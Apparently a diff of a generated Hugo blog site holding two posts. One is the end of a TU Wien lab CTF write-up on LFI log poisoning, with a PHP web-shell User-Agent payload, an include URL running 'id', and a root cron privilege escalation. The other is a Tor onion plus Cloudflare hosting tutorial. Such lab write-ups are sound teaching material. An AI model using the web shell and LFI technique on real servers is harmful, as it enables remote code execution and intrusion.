<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>/var/log/nginx/web.g00.tuw.measurement.network.access.log
|
||||
</span></span></code></pre></div></li>
|
||||
<li>
|
||||
<p>Put PHP in the <code>User-Agent</code> (or another logged field):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span><?php passthru($_GET['cmd']); ?>
|
||||
</span></span></code></pre></div><p>Short tags like <code><?=`id`?></code> work too. Use <strong>quoted</strong> <code>'cmd'</code> — bare <code>$_GET[cmd]</code> is a PHP 8 footgun.</p>
|
||||
</li>
|
||||
<li>
|
||||
<p><strong>Include that log</strong> through the same LFI bug:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://web.g00.tuw.measurement.network/
|
||||
</span></span><span style="display:flex;"><span> ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
|
||||
</span></span><span style="display:flex;"><span> &cmd=id
|
||||
</span></span></code></pre></div></li>
|
||||
</ol>
|
||||
<p>On a <strong>fresh</strong> box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get <code>www-data</code>. That’s RCE. No pwreset required.</p>
|
||||
<h3 id="how-i-griefed-myself">How I griefed myself</h3>
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th>What I did</th>
|
||||
<th>Why it hurt</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<td>Defaulted to <code>https://</code> everywhere</td>
|
||||
<td>Poison landed in <code>ssl-web...access.log</code> — <strong>670 KB+</strong> and growing</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Included the ssl log via LFI</td>
|
||||
<td>Output truncates around ~2 KB; poison sits at the tail</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Fired dozens of test payloads</td>
|
||||
<td>Left broken <code><?php</code> in the HTTP log (<code>$_GET[cmd]</code> without quotes, <code>\x22</code>, etc.) — PHP dies on the <strong>first</strong> bad tag before reaching a clean line</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>Didn’t read <code>index.php</code> source early</td>
|
||||
<td>Missed the debug comment until I’d already polluted both logs</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p>Tobias’s take: that’s a feature. The box teaches you that <strong>ops mistakes compound</strong> — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.</p>
|
||||
<h3 id="if-youre-solving-it-now">If you’re solving it now</h3>
|
||||
<ul>
|
||||
<li>Read <code>index.php</code> source first.</li>
|
||||
<li>Poison on <strong>HTTP</strong>: <code>http://web.g00.tuw.measurement.network/</code> with a clean User-Agent payload.</li>
|
||||
<li>Include the <strong>non-ssl</strong> access log path from the comment.</li>
|
||||
<li>Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.</li>
|
||||
</ul>
|
||||
<p>I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.</p>
|
||||
<hr>
|
||||
<h2 id="12-tldr">12) TL;DR</h2>
|
||||
<ul>
|
||||
<li><strong>Read</strong> <code>documentation.md</code> — it tells you where the services live.</li>
|
||||
<li><strong>Read</strong> <code>index.php</code> source — the debug comment gives you the log paths.</li>
|
||||
<li><strong>Intended RCE</strong> = HTTP log poisoning → LFI include the non-ssl access log.</li>
|
||||
<li><strong>What I did</strong> = pwreset → <code>userchange</code> → cron (also works, not the intended first step).</li>
|
||||
<li><strong>Privesc</strong> = <code>/usr/local/bin/cron_update_hostname_file.sh</code> is world-writable and runs as root.</li>
|
||||
<li><strong>Griefing</strong> = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.</li>
|
||||
<li><strong>Flag</strong> = concatenate all <code>passwd_part</code> slices + <code>/root/passwd</code> suffix.</li>
|
||||
</ul>
|
||||
<p>If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.</p>
|
||||
<p>Happy hacking. 🔓</p>
|
||||
<hr>
|
||||
<p><em>Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.</em></p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/posts/g00_tuw_measurement_ctf.md">Markdown</a> ·
|
||||
<a href="/sources/posts/g00_tuw_measurement_ctf.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
|
||||
jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
|
||||
91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
|
||||
iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
|
||||
35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
|
||||
FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
|
||||
oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
|
||||
zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
|
||||
//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
|
||||
MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
|
||||
YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
|
||||
zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
|
||||
=BDGe
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc
|
||||
gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item></channel></rss>
|
||||
2
public-clearnet/categories/ctf/page/1/index.html
Normal file
2
public-clearnet/categories/ctf/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/categories/ctf/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/categories/ctf/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/categories/ctf/"></head></html>
|
||||
15
public-clearnet/categories/devops/index.html
Normal file
15
public-clearnet/categories/devops/index.html
Normal file
File diff suppressed because one or more lines are too long
230
public-clearnet/categories/devops/index.xml
Normal file
230
public-clearnet/categories/devops/index.xml
Normal file
|
|
@ -0,0 +1,230 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>DevOps on AlipourIm journeys</title><link>https://blog.alipour.eu/categories/devops/</link><description>Recent content in DevOps on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Fri, 19 Sep 2025 00:00:00 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/categories/devops/index.xml" rel="self" type="application/rss+xml"/><item><title>Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod</title><link>https://blog.alipour.eu/posts/tor_clearnet_blog/</link><pubDate>Fri, 19 Sep 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/tor_clearnet_blog/</guid><description>How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy.</description><content:encoded><![CDATA[<blockquote>
|
||||
<p>TL;DR — The site is built once (Hugo project), <strong>published twice</strong>:</p>
|
||||
<ul>
|
||||
<li><strong>Onion</strong>: <code>http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/</code> via Tor, no TLS/HSTS, bound to <code>127.0.0.1:3301</code>.</li>
|
||||
<li><strong>Clearnet</strong>: <code>https://blog.alipourimjourneys.ir</code> behind Cloudflare, Let’s Encrypt cert, <code>Onion-Location</code> header pointing to the onion mirror.</li>
|
||||
</ul></blockquote>
|
||||
<hr>
|
||||
<h2 id="1-tor-hidden-service-onion-basics">1) Tor hidden service (onion) basics</h2>
|
||||
<p>I used Tor’s v3 onion services and mapped onion port 80 → my local web server on <code>127.0.0.1:3301</code>.</p>
|
||||
<p><strong>Install & configure Tor (Debian/Ubuntu):</strong></p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt update <span style="color:#f92672">&&</span> sudo apt install -y tor
|
||||
</span></span><span style="display:flex;"><span>sudoedit /etc/tor/torrc
|
||||
</span></span></code></pre></div><p>Add:</p>
|
||||
<pre tabindex="0"><code>HiddenServiceDir /var/lib/tor/hidden_site/
|
||||
HiddenServicePort 80 127.0.0.1:3301
|
||||
</code></pre><p>Make sure the directory is owned by Tor’s user and private:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mkdir -p /var/lib/tor/hidden_site
|
||||
</span></span><span style="display:flex;"><span>sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
|
||||
</span></span><span style="display:flex;"><span>sudo chmod <span style="color:#ae81ff">700</span> /var/lib/tor/hidden_site
|
||||
</span></span></code></pre></div><p><strong>Important:</strong> use the right systemd unit:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># validate as the Tor user</span>
|
||||
</span></span><span style="display:flex;"><span>sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># (re)start the real service</span>
|
||||
</span></span><span style="display:flex;"><span>sudo systemctl enable --now tor@default
|
||||
</span></span><span style="display:flex;"><span>sudo systemctl restart tor@default
|
||||
</span></span></code></pre></div><p>Get the onion address:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo cat /var/lib/tor/hidden_site/hostname
|
||||
</span></span></code></pre></div><p>Quick check (do remote DNS via SOCKS):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -I --socks5-hostname 127.0.0.1:9050 <span style="color:#e6db74">"http://</span><span style="color:#66d9ef">$(</span>sudo cat /var/lib/tor/hidden_site/hostname<span style="color:#66d9ef">)</span><span style="color:#e6db74">"</span>
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="2-nginx-for-the-onion-localhost-only">2) Nginx for the onion (localhost-only)</h2>
|
||||
<p>I keep the onion site strictly on localhost: <strong>no HTTPS, no redirects, no HSTS</strong>. Tor already provides e2e encryption and authenticity.</p>
|
||||
<p><code>/etc/nginx/sites-available/onion-blog</code>:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">server</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> 127.0.0.1:<span style="color:#ae81ff">3301</span> <span style="color:#e6db74">default_server</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">server_name</span> <span style="color:#e6db74"><your-56-char>.onion</span> 127.0.0.1 <span style="color:#e6db74">localhost</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># keep onion simple; no HSTS/redirects here
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Referrer-Policy</span> <span style="color:#e6db74">no-referrer</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Content-Type-Options</span> <span style="color:#e6db74">nosniff</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">X-Frame-Options</span> <span style="color:#e6db74">SAMEORIGIN</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># (optional) strict CSP so nothing leaks to clearnet
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e"># add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">root</span> <span style="color:#e6db74">/srv/hugo/mysite/public-onion</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">index</span> <span style="color:#e6db74">index.html</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> { <span style="color:#f92672">try_files</span> $uri $uri/ <span style="color:#e6db74">/index.html</span>; }
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">location</span> ~<span style="color:#e6db74">*</span> <span style="color:#e6db74">\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)</span>$ {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">access_log</span> <span style="color:#66d9ef">off</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Cache-Control</span> <span style="color:#e6db74">"public,</span> <span style="color:#e6db74">max-age=31536000,</span> <span style="color:#e6db74">immutable"</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">try_files</span> $uri =<span style="color:#ae81ff">404</span>;
|
||||
</span></span><span style="display:flex;"><span> }
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span></code></pre></div><p>Enable/reload:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
|
||||
</span></span><span style="display:flex;"><span>sudo nginx -t <span style="color:#f92672">&&</span> sudo systemctl reload nginx
|
||||
</span></span></code></pre></div><blockquote>
|
||||
<p>Gotcha I hit: I had <strong>two</strong> server blocks on <code>127.0.0.1:3301</code>, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it <code>default_server</code>). Also, if you ever use a regex in <code>server_name</code>, the syntax is <code>server_name ~* \.onion$</code> (note the space after <code>~*</code>).</p></blockquote>
|
||||
<hr>
|
||||
<h2 id="3-hugo--papermod-setup-and-version-bumps">3) Hugo + PaperMod setup (and version bumps)</h2>
|
||||
<p>PaperMod now requires <strong>Hugo Extended ≥ 0.146.0</strong>. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read <code>/srv</code> paths by default).</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># install Hugo extended (example)</span>
|
||||
</span></span><span style="display:flex;"><span>VER<span style="color:#f92672">=</span>0.146.0
|
||||
</span></span><span style="display:flex;"><span>cd /tmp
|
||||
</span></span><span style="display:flex;"><span>wget https://github.com/gohugoio/hugo/releases/download/v<span style="color:#e6db74">${</span>VER<span style="color:#e6db74">}</span>/hugo_extended_<span style="color:#e6db74">${</span>VER<span style="color:#e6db74">}</span>_Linux-amd64.tar.gz
|
||||
</span></span><span style="display:flex;"><span>tar -xzf hugo_extended_<span style="color:#e6db74">${</span>VER<span style="color:#e6db74">}</span>_Linux-amd64.tar.gz
|
||||
</span></span><span style="display:flex;"><span>sudo mv hugo /usr/local/bin/hugo
|
||||
</span></span><span style="display:flex;"><span>hugo version <span style="color:#75715e"># should say "extended" and >= 0.146.0</span>
|
||||
</span></span></code></pre></div><p>Create the site and theme:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mkdir -p /srv/hugo <span style="color:#f92672">&&</span> sudo chown -R <span style="color:#e6db74">"</span>$USER<span style="color:#e6db74">"</span>:<span style="color:#e6db74">"</span>$USER<span style="color:#e6db74">"</span> /srv/hugo
|
||||
</span></span><span style="display:flex;"><span>cd /srv/hugo
|
||||
</span></span><span style="display:flex;"><span>hugo new site mysite
|
||||
</span></span><span style="display:flex;"><span>cd mysite
|
||||
</span></span><span style="display:flex;"><span>git init
|
||||
</span></span><span style="display:flex;"><span>git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
|
||||
</span></span></code></pre></div><p><strong>Config updates:</strong> in newer Hugo, <code>paginate</code> is deprecated → use:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#75715e"># config/_default/hugo.toml</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">title</span> = <span style="color:#e6db74">"My Blog"</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">theme</span> = <span style="color:#e6db74">"PaperMod"</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">enableRobotsTXT</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">pagination</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">pagerSize</span> = <span style="color:#ae81ff">10</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span>[<span style="color:#a6e22e">params</span>]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">defaultTheme</span> = <span style="color:#e6db74">"auto"</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">showReadingTime</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">showPostNavLinks</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">showBreadCrumbs</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">showCodeCopyButtons</span> = <span style="color:#66d9ef">true</span>
|
||||
</span></span></code></pre></div><p>I added per-environment overrides so I can build two outputs with different <code>baseURL</code>s:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-toml" data-lang="toml"><span style="display:flex;"><span><span style="color:#75715e"># config/clearnet/hugo.toml</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">"https://blog.alipourimjourneys.ir/"</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># config/onion/hugo.toml</span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">baseURL</span> = <span style="color:#e6db74">"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"</span>
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="4-dual-builds-clearnet--onion-and-one-command-deploy">4) Dual builds (clearnet + onion) and one-command deploy</h2>
|
||||
<p>I publish the same content twice—once for each base URL and docroot:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /srv/hugo/mysite
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># clearnet build (served over HTTPS)</span>
|
||||
</span></span><span style="display:flex;"><span>hugo --minify --environment clearnet -d public-clearnet
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># onion build (served via Tor)</span>
|
||||
</span></span><span style="display:flex;"><span>hugo --minify --environment onion -d public-onion
|
||||
</span></span><span style="display:flex;"><span>sudo systemctl reload nginx
|
||||
</span></span></code></pre></div><p>Helper script I use:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo tee /usr/local/bin/build-both >/dev/null <span style="color:#e6db74"><<'EOF'
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">#!/usr/bin/env bash
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">set -euo pipefail
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">cd /srv/hugo/mysite
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">hugo --minify --environment clearnet -d public-clearnet
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">hugo --minify --environment onion -d public-onion
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">sudo systemctl reload nginx
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">echo "Deployed both at $(date)"
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">EOF</span>
|
||||
</span></span><span style="display:flex;"><span>sudo chmod +x /usr/local/bin/build-both
|
||||
</span></span></code></pre></div><p>While editing, I sometimes auto-rebuild on file save:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y entr
|
||||
</span></span><span style="display:flex;"><span>cd /srv/hugo/mysite
|
||||
</span></span><span style="display:flex;"><span>find content layouts assets static config -type f | entr -r build-both
|
||||
</span></span></code></pre></div><hr>
|
||||
<h2 id="5-clearnet-behind-cloudflare--lets-encrypt-manual-dns-01">5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)</h2>
|
||||
<p>Cloudflare is set to <strong>Full (strict)</strong>. I issued a public cert for <code>blog.alipourimjourneys.ir</code> using <strong>manual DNS-01</strong> (no API token):</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo snap install --classic certbot
|
||||
</span></span><span style="display:flex;"><span>sudo certbot certonly --manual --preferred-challenges dns -d blog.alipourimjourneys.ir --agree-tos -m you@example.com --no-eff-email
|
||||
</span></span></code></pre></div><p>Certbot tells you to add a TXT record <code>_acme-challenge.blog.alipourimjourneys.ir</code>. Add it in Cloudflare DNS, verify with <code>dig</code>, then continue. Cert ends up at:</p>
|
||||
<pre tabindex="0"><code>/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
|
||||
/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
|
||||
</code></pre><p>Clearnet Nginx vhosts:</p>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#75715e"># HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> <span style="color:#ae81ff">80</span>; <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:80</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">server_name</span> <span style="color:#e6db74">blog.alipourimjourneys.ir</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">return</span> <span style="color:#ae81ff">301</span> <span style="color:#e6db74">https://blog.alipourimjourneys.ir</span>$request_uri;
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#75715e"># HTTPS origin (behind Cloudflare)
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">server</span> {
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">listen</span> <span style="color:#ae81ff">443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>; <span style="color:#f92672">listen</span> <span style="color:#e6db74">[::]:443</span> <span style="color:#e6db74">ssl</span> <span style="color:#e6db74">http2</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">server_name</span> <span style="color:#e6db74">blog.alipourimjourneys.ir</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ssl_certificate</span> <span style="color:#e6db74">/etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">ssl_certificate_key</span> <span style="color:#e6db74">/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># HSTS on clearnet only
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Strict-Transport-Security</span> <span style="color:#e6db74">"max-age=31536000</span>; <span style="color:#f92672">includeSubDomains</span>; <span style="color:#f92672">preload"</span> <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># Help Tor Browser discover the onion mirror (safe on clearnet)
|
||||
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">add_header</span> <span style="color:#e6db74">Onion-Location</span> <span style="color:#e6db74">"http://<your-56-char>.onion</span>$request_uri" <span style="color:#e6db74">always</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">root</span> <span style="color:#e6db74">/srv/hugo/mysite/public-clearnet</span>;
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">index</span> <span style="color:#e6db74">index.html</span>;
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#f92672">location</span> <span style="color:#e6db74">/</span> { <span style="color:#f92672">try_files</span> $uri $uri/ <span style="color:#e6db74">/index.html</span>; }
|
||||
</span></span><span style="display:flex;"><span>}
|
||||
</span></span></code></pre></div><blockquote>
|
||||
<p>Note: don’t add HSTS or HTTPS redirects to the <strong>onion</strong> vhost. Keep onion pure HTTP on localhost.</p></blockquote>
|
||||
<hr>
|
||||
<h2 id="6-troubleshooting-i-ran-into-and-fixes">6) Troubleshooting I ran into (and fixes)</h2>
|
||||
<ul>
|
||||
<li><strong>Tor unit confusion:</strong> <code>tor.service</code> is a tiny master; the real daemon is <code>tor@default</code>. Use that unit and verify config as <code>debian-tor</code>.</li>
|
||||
<li><strong>Permissions:</strong> <code>HiddenServiceDir</code> must be owned by <code>debian-tor</code> and mode <code>700</code>.</li>
|
||||
<li><strong>Mapping mismatch:</strong> If <code>HiddenServicePort 80 127.0.0.1:3301</code> is set, visit <code>http://<onion>/</code> (no <code>:3301</code>). If you set <code>HiddenServicePort 3301 127.0.0.1:3301</code>, you must use <code>http://<onion>:3301/</code>.</li>
